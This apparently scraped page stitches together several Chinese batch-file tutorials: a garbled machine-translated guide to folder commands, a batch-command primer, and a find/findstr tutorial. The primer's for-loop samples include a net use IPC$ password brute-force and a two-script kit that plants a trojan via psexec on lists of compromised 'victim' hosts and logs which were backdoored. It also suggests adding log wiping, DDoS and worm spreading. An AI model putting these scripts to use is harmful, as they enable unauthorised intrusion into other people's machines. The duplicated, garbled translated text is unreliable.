精华内容
下载资源
问答
  • 批处理删除文件夹命令Till now we haven’t discussed about the most important commands that provide actual functionality to the batch files, which are none other than file and folder manipulation ...

    批处理删除文件夹命令

    批处理文件夹命令 (Batch File Folder Commands)

    1. Dir 2. Mkdir 3. Rmdir 4. Chdir 5. Ren 6. Pushd 7. Popd

    1. Dir 2. Mkdir 3. Rmdir 4. Chdir 5. Ren 6. Pushed 7. Popd

    指挥官 (Dir Command)

    The dir command serves to print the contents in a directory. As usual like all other commands, this also has some switches that narrow down the results according to the switches used.

    dir命令用于在目录中打印内容。 像所有其他命令一样,它也具有一些开关,这些开关可以根据使用的开关来缩小结果范围。

    Eg: C:Usersuser1>dir

    例如: C:Usersuser1> dir

    Executing the dir command without any switches gives the following output.

    在没有任何开关的情况下执行dir命令将产生以下输出。

    Volume in drive C is OS Volume Serial Number is C484-3F97 Directory of C:Usersuser1 03/04/2014  07:40 AM    <DIR>          dwhelper 03/12/2015  05:57 PM    <DIR>          Favorites 0 File(s)              0 bytes 31 Dir(s)  137,566,859,264 bytes free

    驱动器C中的 为OS 卷序列号为C484-3F97 C: Usersuser1 目录2014年 4月4日上午7:40 <DIR> dwhelper 2015年 3月 12 日05:57 PM <DIR>收藏夹 0文件0字节 31个dir 137,566,859,264字节可用

    Initially it prints the drive details and then the contents in a table format. The first column gives the created date of either the file or the folder, Next column indicates the time of creation, then follows the <DIR> that indicates it is a folder. Finally the last column displays the column name. At last the number of files, directories and free memory space available on the drive is displayed.

    最初,它先打印驱动器详细信息,然后以表格格式打印内容。 第一列给出了文件或文件夹的创建日期,下一列表明了创建时间,然后在<DIR>之后表明它是文件夹。 最后,最后一列显示列名。 最后显示驱动器上可用的文件,目录和可用存储空间的数量。

    Flags in Dir Command dir command with ‘/a’ switch will display all the files and folders in a directory, no matter what attribute is set.

    无论设置了什么属性,Dir Command dir命令中带有“ / a”开关的标志都将显示目录中的所有文件和文件夹。

    ‘dir /a[D|R|H|A|S|I]’ Switches description is as follows. ‘D’ to display Directories, ‘R’ to display Read-only files, ‘H’ to display Hidden files, ‘A’ to display Files ready for archiving, ‘S’ to display System files and ‘I’ to display not content indexed files.

    'dir / a [D | R | H | A | S | I]'开关说明如下。 “ D”显示目录,“ R”显示只读文件,“ H”显示隐藏文件,“ A”显示准备归档的文件,“ S”显示系统文件,“ I”显示不内容索引文件。

    ‘dir /b’ Here ‘b’ stands for bare information. This serves similar purpose of dir command but only the folders and files are displayed in a single column without their extensions, date and time.

    'dir / b'这里的'b'代表裸露的信息。 这与dir命令的目的相似,但只有文件夹和文件显示在单列中,没有扩展名,日期和时间。

    ‘dir /d’ command simply displaying the file names with their extensions alone.

    'dir / d'命令仅显示带有扩展名的文件名。

    ‘dir /l’ displays the output in lowercase.

    'dir / l'以小写形式显示输出。

    ‘dir /o’ sorts the order of files and folders.

    'dir / o'排序文件和文件夹的顺序。

    Mkdir命令 (Mkdir Command)

    The mkdir command stands for to make a directory, which is used to create new directories in the desired location. Also the mkdir command is a replacement of the ‘md’ command. We can create any number of directories just by using a single mkdir command. This command doesn’t have any switches.

    mkdir命令代表建立目录,该目录用于在所需位置创建新目录。 同样,mkdir命令代替了'md'命令。 我们只需使用一个mkdir命令就可以创建任意数量的目录。 该命令没有任何开关。

    Eg: mkdir My Programs (or) Md My Programs

    例如: mkdir我的程序(或)Md我的程序

    The above two commands create a new directory named My Programs in the location where you are currently working. We can also create a folder inside another folder at the same time using a single command as the below one.

    上面的两个命令在您当前工作的位置创建一个名为“我的程序”的新目录。 我们还可以使用下面的单个命令同时在另一个文件夹中创建一个文件夹。

    Eg: md new1\new2\new3

    例如: md new1 \ new2 \ new3

    This command creates new1 folder then creates new2 inside new1 and at last new3 inside new2.

    此命令创建new1文件夹,然后在new1内部创建new2,最后在new2内部创建new3。

    Rmdir命令 (Rmdir Command)

    The rmdir command is short hand for the remove directory that is used to remove an already existing directory or folder, you can use the command as ‘rd’ also which serves for the same purpose. For deleting a folder using rd command we need to make sure that it does not contain any files or sub folders.

    rmdir命令是用于删除目录的快捷方式,该目录用于删除已经存在的目录或文件夹,您也可以将命令用作“ rd”,该命令也用于相同的目的。 要使用rd命令删除文件夹,我们需要确保该文件夹不包含任何文件或子文件夹。

    Eg: rd new1

    例如: rd new1

    The above command doesn’t delete the folder new1 as already their exits a folder new2 inside new1. So, we use two switches to solve this problem. The rd command has two switches ‘/s’ and ‘/Q’. The ‘/s’ switch is used to delete all the directories, sub-directories and files inside the folder. So, you won’t have to manually delete all the sub folders and files inside them. The next switch ‘/Q’ stands for quiet mode, in quiet mode the command doesn’t prompt you for confirmation and does all the task of deleting silently.

    上面的命令不会删除文件夹new1,因为它们已经退出了new1内的文件夹new2。 因此,我们使用两个开关来解决此问题。 rd命令有两个开关“ / s”和“ / Q”。 “ / s”开关用于删除文件夹中的所有目录,子目录和文件。 因此,您不必手动删除其中的所有子文件夹和文件。 下一个开关“ / Q”代表安静模式,在安静模式下,该命令不会提示您进行确认,而是执行所有删除操作。

    Chdir命令 (Chdir Command)

    The chdir command is used to change the current working directory. It can also be used in short as ‘cd’. The small difference between cd and chdir is that the chdir command doesn’t require the path given to be in quotes when the folder names contains spaces. But in case of cd command, it is necessary to give the path in quotes.

    chdir命令用于更改当前工作目录。 它也可以简称为“ cd”。 cd和chdir之间的细微差别是,当文件夹名称包含空格时,chdir命令不需要给定的路径用引号引起来。 但是,如果使用cd命令,则必须用引号将路径引起来。

    Eg: chdir  programsstart menu cd  “programsstart menu”

    例如: chdirprogramsstart菜单cd“ programsstart菜单”

    The above commands change the current working directory into start menu directory. Also we can use command ‘cd..’ to move one level up in the hierarchy of directories. And ‘cd’ to move into the current drive.

    上面的命令将当前工作目录更改为开始菜单目录。 我们还可以使用命令“ cd ..”在目录层次结构中上移一级。 和“ cd”移动到当前驱动器。

    任统帅 (Ren Command)

    Rename command ‘ren’ is used to rename a directory on windows through the dos shell. ren can be replaced with its longer version as ‘rename’. The following example shows the syntax for renaming a folder.

    重命名命令“ ren”用于通过dos外壳在Windows上重命名目录。 可以用较长版本的“重命名”代替ren。 以下示例显示了重命名文件夹的语法。

    Eg: rename programmer crazyprogrammer

    例如:将程序员重命名为crazyprogrammer

    The above command renames the directory ‘programmer’ to ‘crazyprogrammer’. This command doesn’t have any switches.

    上面的命令将目录“ programmer”重命名为“ crazyprogrammer”。 该命令没有任何开关。

    推入和弹出命令 (Pushd and Popd Commands)

    The pushd command is used to push the working directory or any specified directory. The current working directory is pushed into the stack and remains there until it is popped out. The popd command is used to pop out a directory that is pushed using the pushd command. Let us consider the below command to understand in detail.

    pushd命令用于推送工作目录或任何指定目录。 当前的工作目录被推入堆栈,并保持在那里直到弹出。 popd命令用于弹出使用pushd命令推送的目录。 让我们考虑下面的命令来详细了解。

    Eg: Assume that I’m in ‘C:myfolder’ and I want to push directly to ‘C:windows’. I can do so using the following command

    例如:假设我在'C:myfolder'中,并且我想直接推送到'C:windows'。 我可以使用以下命令进行操作

    Pushd C:windows

    推入C:windows

    Then my current working directory changes to ‘C:windows’ and the path ‘C:myfolder’ gets pushed into the stack. Next when I execute a popd command, my working directory changes to ‘C:myfolder’ as it pops out from the stack.

    然后,我当前的工作目录更改为“ C:windows”,路径“ C:myfolder”被压入堆栈。 接下来,当我执行popd命令时,我的工作目录会从堆栈中弹出,更改为“ C:myfolder”。

    C:windows> popd C:myfolder>

    C:windows>弹出C:myfolder>

    Try it yourself Create a directory and apply all the commands over it, observe and note down the results.

    自己尝试创建目录并在其上应用所有命令,观察并记录结果。

    翻译自: https://www.thecrazyprogrammer.com/2015/07/batch-file-folder-commands.html

    批处理删除文件夹命令

    展开全文
  • 批处理文件常用命令

    千次阅读 2013-07-24 16:38:02
    批处理有许多命令 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:echo off / echo hello world 在实际...
    批处理有许多命令
    

    1.Echo 命令
    打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
    语法
    echo [{on|off}] [message]
    Sample:echo off / echo hello world
    在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

    2.@ 命令
    表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
    Sample:@echo off
    @echo Now initializing the program,please wait a minite...
    @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

    3.Goto 命令
    指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
    语法:goto label (label是参数,指定所要转向的批处理程序中的行。) 
    Sample:
    if {%1}=={} goto noparms
    if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
    @Rem check parameters if null show usage
    :noparms
    echo Usage: monitor.bat ServerIP PortNumber
    goto end
    标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

    4.Rem 命令
    注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
    Rem Message
    Sample:@Rem Here is the description.

    5.Pause 命令
    运行 Pause 命令时,将显示下面的消息: 
    Press any key to continue . . . 
    Sample:
    @echo off 
    :begin 
    copy a:*.* d:\back
    echo Please put a new disk into driver A 
    pause 
    goto begin 
    在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

    6.Call 命令
    从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
    语法
    call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
    参数
    [Drive:}[Path] FileName 
    指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

    7.start 命令
    调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
    入侵常用参数:
    MIN 开始时窗口最小化
    SEPARATE 在分开的空间内开始 16 位 Windows 程序
    HIGH 在 HIGH 优先级类别开始应用程序
    REALTIME 在 REALTIME 优先级类别开始应用程序
    WAIT 启动应用程序并等候它结束
    parameters 这些为传送到命令/程序的参数
    执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
    8.choice 命令
    choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

    如: choice /c:dme defrag,mem,end
    将显示
    defrag,mem,end[D,M,E]?
    Sample:
    Sample.bat的内容如下: 
    @echo off 
    choice /c:dme defrag,mem,end 
    if errorlevel 3 goto defrag (应先判断数值最高的错误码)
    if errorlevel 2 goto mem 
    if errotlevel 1 goto end 

    :defrag 
    c:\dos\defrag 
    goto end 
    :mem 
    mem 
    goto end 
    :end 
    echo good bye

    此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

    9.If 命令

    if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 
    1、if "参数" == "字符串" 待执行的命令 
    参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
    如if "%1"=="a" format a: 
    if {%1}=={} goto noparms
    if {%2}=={} goto noparms

    2、if exist 文件名 待执行的命令 
    如果有指定的文件,则条件成立,运行命令,否则运行下一句。
    如if exist config.sys edit config.sys 

    3、if errorlevel / if not errorlevel 数字 待执行的命令 
    如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
    如if errorlevel 2 goto x2 
    DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

    10.for 命令
    for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

    for {%variable|%%variable} in (set) do command [ CommandLineOptions]
    %variable 指定一个单一字母可替换的参数。
    (set) 指定一个或一组文件。可以使用通配符。
    command 指定对每个文件执行的命令。
    command-parameters 为特定命令指定参数或命令行开关。
    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
    而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

    如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
    支持:

    FOR /D %variable IN (set) DO command [command-parameters]

    如果集中包含通配符,则指定与目录名匹配,而不与文件
    名匹配。

    FOR /R [[drive:]path] %variable IN (set) DO command [command-

    检查以 [drive:]path 为根的目录树,指向每个目录中的
    FOR 语句。如果在 /R 后没有指定目录,则使用当前
    目录。如果集仅为一个单点(.)字符,则枚举该目录树。

    FOR /L %variable IN (start,step,end) DO command [command-para

    该集表示以增量形式从开始到结束的一个数字序列。
    因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
    序列 (5 4 3 2 1)。

    FOR /F ["options"] %variable IN (file-set) DO command 
    FOR /F ["options"] %variable IN ("string") DO command 
    FOR /F ["options"] %variable IN (command) DO command 

    或者,如果有 usebackq 选项:

    FOR /F ["options"] %variable IN (file-set) DO command 
    FOR /F ["options"] %variable IN ("string") DO command 
    FOR /F ["options"] %variable IN (command) DO command 

    filenameset 为一个或多个文件名。继续到 filenameset 中的
    下一个文件之前,每份文件都已被打开、读取并经过处理。
    处理包括读取文件,将其分成一行行的文字,然后将每行
    解析成零或更多的符号。然后用已找到的符号字符串变量值
    调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
    的第一个空白符号。跳过空白行。您可通过指定可选 "options"
    参数替代默认解析操作。这个带引号的字符串包括一个或多个
    指定不同解析选项的关键字。这些关键字为:

    eol=c - 指一个行注释字符的结尾(就一个)
    skip=n - 指在文件开始时忽略的行数。
    delims=xxx - 指分隔符集。这个替换了空格和跳格键的
    默认分隔符集。
    tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
    的 for 本身。这会导致额外变量名称的
    格式为一个范围。通过 nth 符号指定 m
    符号字符串中的最后一个字符星号,
    那么额外的变量将在最后一个符号解析之
    分配并接受行的保留文本。
    usebackq - 指定新语法已在下类情况中使用:
    在作为命令执行一个后引号的字符串并且
    引号字符为文字字符串命令并允许在 fi
    中使用双引号扩起文件名称。

    sample1:
    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
    每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
    空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
    取得第二个符号,引用 %j 来取得第三个符号,引用 %k
    来取得第三个符号后的所有剩余符号。对于带有空格的文件
    名,您需要用双引号将文件名括起来。为了用这种方式来使
    用双引号,您还需要使用 usebackq 选项,否则,双引号会
    被理解成是用作定义某个要分析的字符串的。

    %i 专门在 for 语句中得到说明,%j 和 %k 是通过
    tokens= 选项专门得到说明的。您可以通过 tokens= 一行
    指定最多 26 个符号,只要不试图说明一个高于字母 z 或
    Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
    同时不能有 52 个以上都在使用中。

    您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
    用单引号将括号之间的 filenameset 括起来。这样,该字符
    串会被当作一个文件中的一个单一输入行。

    最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
    括号之间的 filenameset 变成一个反括字符串。该字符串会
    被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
    内存,并被当作文件分析。因此,以下例子:

    FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    会枚举当前环境中的环境变量名称。

    另外,FOR 变量参照的替换已被增强。您现在可以使用下列
    选项语法:

    ~I - 删除任何引号("),扩充 %I
    %~fI - 将 %I 扩充到一个完全合格的路径名
    %~dI - 仅将 %I 扩充到一个驱动器号
    %~pI - 仅将 %I 扩充到一个路径
    %~nI - 仅将 %I 扩充到一个文件名
    %~xI - 仅将 %I 扩充到一个文件扩展名
    %~sI - 扩充的路径只含有短名
    %~aI - 将 %I 扩充到文件的文件属性
    %~tI - 将 %I 扩充到文件的日期/时间
    %~zI - 将 %I 扩充到文件的大小
    %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
    到找到的第一个完全合格的名称。如果环境变量
    未被定义,或者没有找到文件,此组合键会扩充
    空字符串

    可以组合修饰符来得到多重结果:

    %~dpI - 仅将 %I 扩充到一个驱动器号和路径
    %~nxI - 仅将 %I 扩充到一个文件名和扩展名
    %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
    %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
    到找到的第一个驱动器号和路径。
    %~ftzaI - 将 %I 扩充到类似输出线路的 DIR

    在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
    用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
    比较易读,而且避免与不分大小写的组合键混淆。

    以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

    sample2:

    利用For命令来实现对一台目标Win2k主机的暴力密码破解。
    我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
    最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
    用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
    for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。

    sample3:

    你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

    主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
    tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
    而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
    delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
    代码雏形:

    --------------- cut here then save as a batchfile(I call it main.bat ) --------------------
    @echo off
    @if "%1"=="" goto usage
    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
    @goto end
    :usage
    @echo run this batch in dos modle.or just double-click it.
    :end
    --------------- cut here then save as a batchfile(I call it main.bat ) --------------------

    ------------------- cut here then save as a batchfile(I call it door.bat) -----------------
    @net use \\%1\ipc$ %3 /u:"%2"
    @if errorlevel 1 goto failed
    @echo Trying to establish the IPC$ connection …………OK
    @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
    @p***ec \\%1 c:\winnt\system32\windrv32.exe
    @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
    :failed
    @echo Sorry can not connected to the victim.
    ----------------- cut here then save as a batchfile(I call it door.bat) -------------------
    这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
    尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
    展开全文
  • BAT批处理文件 find命令详解

    千次阅读 2019-04-24 22:33:17
    文件中搜索字符串。 FIND [/V] [/C] [/N] [/OFF[LINE]] “string” [[drive:][path]filename[ …]] /V 显示所有未包含指定字符串的行。 /C 仅显示包含字符串的行数。 /N 显示行号。 /I 搜索字符串时忽略大小写。 /...

    find

    在文件中搜索字符串。
    FIND [/V] [/C] [/N] [/OFF[LINE]] “string” [[drive:][path]filename[ …]]

    开关作用
    /V显示所有未包含指定字符串的行。
    /C仅显示包含字符串的行数。
    /N显示行号。
    /I搜索字符串时忽略大小写。

    /OFF[LINE] 不要跳过具有脱机属性集的文件。

    "string"指定要搜索的文字串,

    [drive:][path]filename 指定要搜索的文件。
    如果没有指定路径,FIND 将搜索键入的或者由另一命令产生的文字。

    例:

    @echo off
    echo 111 >test.txt
    echo 222 >>test.txt
    find "111" test.txt
    del test.txt
    pause
    

    运行显示如下:

    ---------- TEST.TXT
    111
    请按任意键继续. . .

    Find常和type命令结合使用
    Type [drive:][path]filename | find “string” [>tmpfile] #挑选包含string的行
    Type [drive:][path]filename | find /v “string” #剔除文件中包含string的行
    Type [drive:][path]filename | find /c #显示文件行数
    以上用法将去除find命令自带的提示语(文件名提示)

    例:

    @echo off
    echo 111 >test.txt
    echo 222 >>test.txt
    type test.txt|find "111"
    del test.txt
    pause
    

    运行显示如下:

    111
    请按任意键继续. . .

    findstr

    findstr 是find的扩展,功能更强大
    格式:findstr 参数 字符串 路径\文件名

    开关作用
    /B在一行的开始配对模式。 (就是指以字符串开头,begin 这样就方便了记忆)
    /E在一行的结尾配对模式。(就是指以字符串结尾,end 这样就方便记忆)
    /L按字使用搜索字符串。就是将后面的""里的当成一个字符
    /R将搜索字符串作为一般表达式使用。
    /S在当前目录和所有子目录中搜索匹配文件。
    /I指定搜索不分大小写。(英文:ignore 忽略)
    /X打印完全匹配的行。/x 是指完全匹配,就是说整行匹配,而不是含有关键字.
    /V只打印不包含匹配的行。(就是找出不包含字符串的)
    /N在匹配的每行前打印行数。(就是在输出行的前面加上原文件中的行数,英文:number)显示的结果中冒号(:)是英文格式下的,在用for提取的时候需要注意!
    /M如果文件含有匹配项,只打印其文件名。(指定文件中输出含有字符串的文件名)
    /O在每个匹配行前打印字符偏移量。o开关的作用是告诉你每行第一个字符前的位置是该文件中的第几个字节

    计算时别忘了文本中不可见的回车符合换行符将占两字节(某些文本中只占一字节)。还有空格键一个字符。

    参数详解:

    学习findstr需要大量的实践体会,所以需要新建一些txt文本以供测试。

    a.txt的内容(a.txt的内容在后面会多次修改,请注意!):

    Hello World
    Hello Boy
    hello ,good man.
    goodbye!

    1.最简单的应用:在指定文本中查找指定字符串

    代码:

    @echo off
    findstr "hello" a.txt
    pause
    

    结果:

    hello ,good man.
    请按任意键继续. . .

    代码:

    @echo off
    findstr "Hello" a.txt
    pause
    

    结果:

    Hello World
    Hello Boy
    请按任意键继续. . .

    这里可以看出,
    findstr默认是区分大小写的(跟find命令一样)——找hello就不会出现Hello,反之亦然。

    怎么让其不区分大小写呢?

    用/i参数!
    例:

    @echo off
    findstr /i "Hello" a.txt
    pause
    

    结果:

    Hello World
    Hello Boy
    hello ,good man.
    请按任意键继续. . .

    2.显示要查找的字符具体在文本哪一行

    例:

    @echo off
    findstr /n /i "hello" a.txt
    pause
    

    效果:

    1:Hello World
    2:Hello Boy
    3:hello ,good man.
    请按任意键继续. . .

    显示的结果中冒号(:)是英文格式下的,在用for提取的时候需要注意!

    这里可以对比一下find命令的/n参数:

    @echo off
    findstr /n "hello" a.txt
    pause
    

    效果:

    3:hello ,good man.
    请按任意键继续. . .

    冒号(:)和中括号([]),这就是差别,编写代码的时候一定要注意。

    3.查找包含了指定字符的文本

    新建1.txt中的内容如下:
    hello,csqxy547

    例:

    @echo off
    findstr /m /i "hello" *.txt
    pause
    

    效果:
    1.txt
    a.txt

    除非参数有 /C 前缀,请使用空格隔开搜索字符串。
    例如:
    ‘FINDSTR “hello there” x.y’
    在文件 x.y 中寻找 “hello” 或"there"。
    ‘FINDSTR /C:“hello there” x.y’
    文件 x.y 寻找"hello there"。

    由于加上了/m参数,所以只列出包含指定字符的文件名。

    4.查找以指定字符开始或结尾的文本行

    这个功能和前面介绍的最大不同就在于涉及到了“元字符”,如果你不明白什么是“元字符”,那也不用担心学不好这一节,这就好像不明白“water”是什么,也不会影响喝水。

    新建 a.txt 内容为:
    good hello
    你好 hello world
    Hello World
    Hello Boy
    hello ,good man.
    goodbye!

    如何查找以hello(忽略大小写)开始的行?

    两种方法:

    ① /b参数
    @echo off
    findstr /b /i "hello" a.txt
    pause
    

    效果:

    Hello World
    Hello Boy
    hello ,good man.
    请按任意键继续. . .

    good hello 和 你好 hello world,这两行都没有显示出来,因为hello不在行的开始处。

    ② ^符

    这里的^可不是转义符,而是正则表达式中的“匹配行开始的位置”。

    代码:

    @echo off
    findstr  /i "^hello" a.txt
    pauise
    

    效果:

    Hello World
    Hello Boy
    hello ,good man.
    请按任意键继续. . .

    学完了以查找指定字符开始的行,下面学习查找以指定字符结尾的行。

    如何查找以hello(忽略大小写)结尾的行?

    同样有两种方法:

    ① /e参数

    @echo off
    findstr /e /i "hello" a.txt
    pause
    

    结果:

    good hello
    请按任意键继续. . .

    只显示了“good hello”,因为其它行虽然有“hello”,但是他们都没有以“hello”结尾。

    ② $符

    代码:

    @echo off
    findstr /e /i "hello$" a.txt
    pause
    

    结果:

    good hello
    请按任意键继续. . .

    到此,我们已经学习了两个正则表达式的元字符:^和$(分别和他们功能相对应的有/b、/e参数)。

    5.查找与指定字符完全匹配的行

    首先修改a.txt的内容:
    hello
    hello hello
    good hello
    你好 hello world
    Hello World
    Hello Boy
    hello ,good man.
    goodbye!

    懂得举一反三的的童鞋可能会试着尝试以下代码:

    @exho off
    findstr /n /i "^hello$" a.txt
    pause
    

    结果让你倍感欣喜:
    1:hello

    其实除了这一种方法外,findstr命令还提供了/x参数用来查找完全匹配的行。

    代码:

    @exho off
    indstr /n /i /x "hello" a.txt
    pause
    

    结果:
    1:hello

    6.关闭正则表达式会怎么样?

    我们可以人为地将findstr分为两种模式,“正则表达式模式”和“普通字符串模式”。

    findstr默认为“正则表达式模式”,加上/r参数也是“正则表达式模式”(换言之,/r参数有点多余)。

    加上/l参数后,findstr转换为“普通字符串模式”(其实find就是这种模式、且只有这种模式)。

    “普通字符串模式”下,以同样的代码,看看结果怎样?

    代码:

    @exho off
    findstr /li "^hello" a.txt
    pause
    

    结果什么都没显示出来。

    以hello开头的行明明有以下这些,为什么没显示出来呢?
    hello hello
    Hello World
    Hello Boy
    hello ,good man.

    因为,当你使用“普通字符串模式”,findstr不会把 ^ 当做是正则表达式的元字符,而只是把其当做普通字符,也就是说它此时已经不具备“表示行首”的功能,变成了和h之类字符一样的普通民众,再也没“特权”。

    改变a.txt的内容:
    ^hello
    hello
    hello hello
    good hello
    你好 hello world
    Hello World
    Hello Boy
    hello ,good man.
    goodbye!

    再次运行代码:

    @echo off
    findstr /nli "^hello" a.txt
    pause
    

    结果:

    1:^hello
    请按任意键继续. . .

    7.查找不包含指定字符的行

    如果比较一下find和findstr命令就会发现,他们都具有/v,/n,/i,/off[line]参数,而且功能都是一摸一样的,这里说的就是/v参数。

    查找不包含hello的行。

    代码:

    @echo off
    findstr /vni "hello" a.txt
    pause
    

    结果:

    9:goodbye!
    请按任意键继续. . .

    8.如何查找当前目录及子目录下文件内容中包含某字符串的文件名?

    在写这篇教程的时候,偶然看到有批友问了这个问题,问题地址:http://bbs.bathome.net/viewthread.php?tid=14727

    在D:\abc 以及abc下还有很多子目录,每个目录下有很多txt文件,
    请问如何找到所有这些文件内容中(不是文件标题)包含“专业”这个字符串的所有文件名呢?最好是输出到一个文件中。

    代码:
    findstr /ms “专业” *.txt

    效果:

    找出当前目录及子目录下文件内容中包含“专业”的文本文件,并只显示其文件名。

    9.用文本指定要查找的文件 And 用文本制定要查找的字符串

    用文本制定要查找的文件

    新建一个string.txt,内容如下(这个文本中指定findstr要查找的字符串):
    ^hello
    world

    再新建一个a.txt,内容如下
    a.txt
    ^hello
    hello
    hello hello
    good hello
    你好 hello
    Hello World
    Hello Boy
    hello ,good man.
    goodbye!

    代码:

    @echo off
    findstr /ig:string.txt a.txt
    pause
    

    效果:

    hello
    hello hello
    Hello World
    Hello Boy
    hello ,good man.
    请按任意键继续. . .

    被忽略的行
    ^hello
    good hello
    你好 hello
    goodbye!

    从被忽略的“^hello”可以看出,在不加/l参数的前提下,用/g指定的搜索字符串中如果含有“元字符”,则作为正则表达式使用,而不是作为普通表达式。

    10.搜索一个完全匹配的句子

    其实findstr自带的帮助中就有个很好的例子:

    例如:
    ‘FINDSTR “hello there” x.y’ 在文件 x.y 中寻找 “hello"或"there”。
    ‘FINDSTR /C:“hello there” x.y’ 文件 x.y中寻找"hello there"。

    可以以这个例子来做个测试。

    a.txt内容为下
    hello there
    hellothere
    hello
    there

    代码:

    @echo off
    findstr /ic:"hello there" a.txt
    pause
    

    结果:

    hello there
    请按任意键继续. . .

    这就是句子的完全匹配了。

    11.搜索一个完全匹配的词。

    这里也涉及到了两个元字符:<,>。

    先试看一个例子。

    a.txt内容为下
    far there
    farthere
    there
    far
    farm
    farmer

    代码:

    @echo off
    findstr "far" a.txt
    pause
    

    结果:

    far there
    farthere
    far
    farm
    farmer
    请按任意键继续. . .

    我的本意是要查找含有“far”这个单词的行,但是farthere、farm、farmer却显示出来了,这不是我想要的结果。

    如果只要求显示含有“far”这个单词的行,该怎么写呢?

    代码:

    @echo off
    findstr "\<far\>" a.txt
    pause
    

    结果:

    far there
    far
    请按任意键继续. . .

    12.指定要查找的目录

